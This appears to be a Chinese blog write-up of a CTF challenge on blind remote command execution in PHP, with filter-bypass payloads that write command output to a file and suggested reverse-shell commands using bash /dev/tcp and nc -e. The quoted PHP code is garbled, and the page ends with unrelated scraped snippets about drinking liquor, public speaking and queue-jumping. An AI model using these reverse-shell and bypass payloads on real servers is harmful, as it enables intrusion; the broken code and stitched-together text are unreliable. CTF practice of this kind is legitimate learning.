遇到無回顯的rce該怎麼辦?

2022-10-10 07:00:13 字數 1407 閱讀 8596

面對rce命令函式的過濾我已習以為常,但這個無回顯的rce讓我懵了許久。今天做題遇到了無回顯的情況,再次,查閱網上資源,趁熱打鐵總結一下怎麼處理無回顯。

先看一道題目,也是我第一次遇見無回顯的rce(恨自己刷題太少)

<?php

highlight_file(__file__

);if(isset($_get['url']))

else

}

題目**很簡單,exec函式執行命令,preg_match函式過濾掉大量命令,我當時用的是scanner函式,命令執行正確或錯誤回顯都是一樣的,沒用。因為第一次遇見這

種情況,我也沒轍。然後看了看師傅的wp,才慢慢清楚。

師傅的乙個思路是將輸出結果寫入另乙個檔案中。因為平台是linux環境,構造payload l''s /|tee 1.txt (''用於連線字元,用於繞過過濾函式),進而訪問1.txt可顯示根目錄下的檔案,發現乙個flllllaaaaaaggggggg檔案,確信是flag檔案了,繼續構造payload tac /flllll''aaaaaaggggggg|tee 1.txt(cat被過濾了,可以使用tac,當然也可以用拼接符將cat連線起來,過濾函式中過濾了個la,所以要用拼接符拼接)再次訪問1.txt就得到flag了。

上面講的只是冰山一角,在此總結一下處理無回顯的方法。

其實在無回顯的rce中,我們輸入的命令是執行了的,只是不給我們顯示出來。我們可以輸入用來**shell的命令來拿到對方伺服器的許可權。

我們可以輸入bash -i >& /dev/tcp/ip/port 0>&1這個命令,通過自己伺服器來對對方伺服器進行查詢,這時候就不會有過濾限制和無回顯的限制了。

就可以盡情的無限制的命令執行了。也可以用nc -e /bin/sh ip port這條命令。(由於本人還沒有伺服器,演示不了**的操作。再者本人並不太了解**shell

以後再慢慢深入)

將輸出儲存到檔案中而不是顯示出來。

">"    會將輸出的寫入到乙個檔案中,並替換掉這個檔案中原有的內容。

">>"  寫入到乙個檔案,並不會替換掉原有內容。

基本格式

command > file.txt

如果你寫的檔案不存在,它會自動生成乙個檔案。

command > file.txt 2>&1

將輸出和錯誤資訊也儲存在同乙個檔案中。

上面的題目就是用這個命令解決無回顯。

命令格式

command | tee file.txt

同樣的,檔案不存在自動建立。

command | tee -a file.txt

-a引數,增加附加功能。

其他的還有copy對輸出的內容進行複製,壓縮等方法。

程式設計遇到難題的時候該怎麼辦?!

做為一名苦逼的程式設計師,在編寫程式的時候,或多或少會遇到程式設計難題的時候。這個時候該怎麼辦呢?個人經驗 一般我在遭遇這種情況的時候,就自己獨坐電腦旁,自斟自飲幾杯高粱酒,在半醉半醒之後再回頭看剛才遇到的難題,是不是感覺有點解決的思路在腦海裡若影若現了呢 花間酒肆地處中國白酒金三角地區 中國酒城....

演講遇到這些情況,你該怎麼辦?

演講遇到這些情況,你該怎麼辦?選自 演講之禪 站在演講台上的你,是否遇到過下列一種或幾種情況呢?l遇到觀眾的質問 l所有的觀眾都盯著自己的電腦 l你的演講時間從45分鐘減少到10分鐘 l 所有的觀眾都不喜歡你 l 有些觀眾不停地提問 l 有些觀眾的問題很費時卻又無法進入正題 l 遇到自己無法解答的問...

如果你遇到插隊你該怎麼辦

這其實是一件小事,但今天就是格外的生氣。工作日的早上,大家總是特別的匆忙,大家都不想在遲到的這件小事上收到領導的批評。而就在今天早上,我向往常一樣準時來到站點來乘坐去往公司的班車,恰好到我,班車沒有我的位置了,只能焦急的等待著下一輛班車 平時班車不會遲到 今天也有乙個特別的地方,那就是交警竟然在堵截...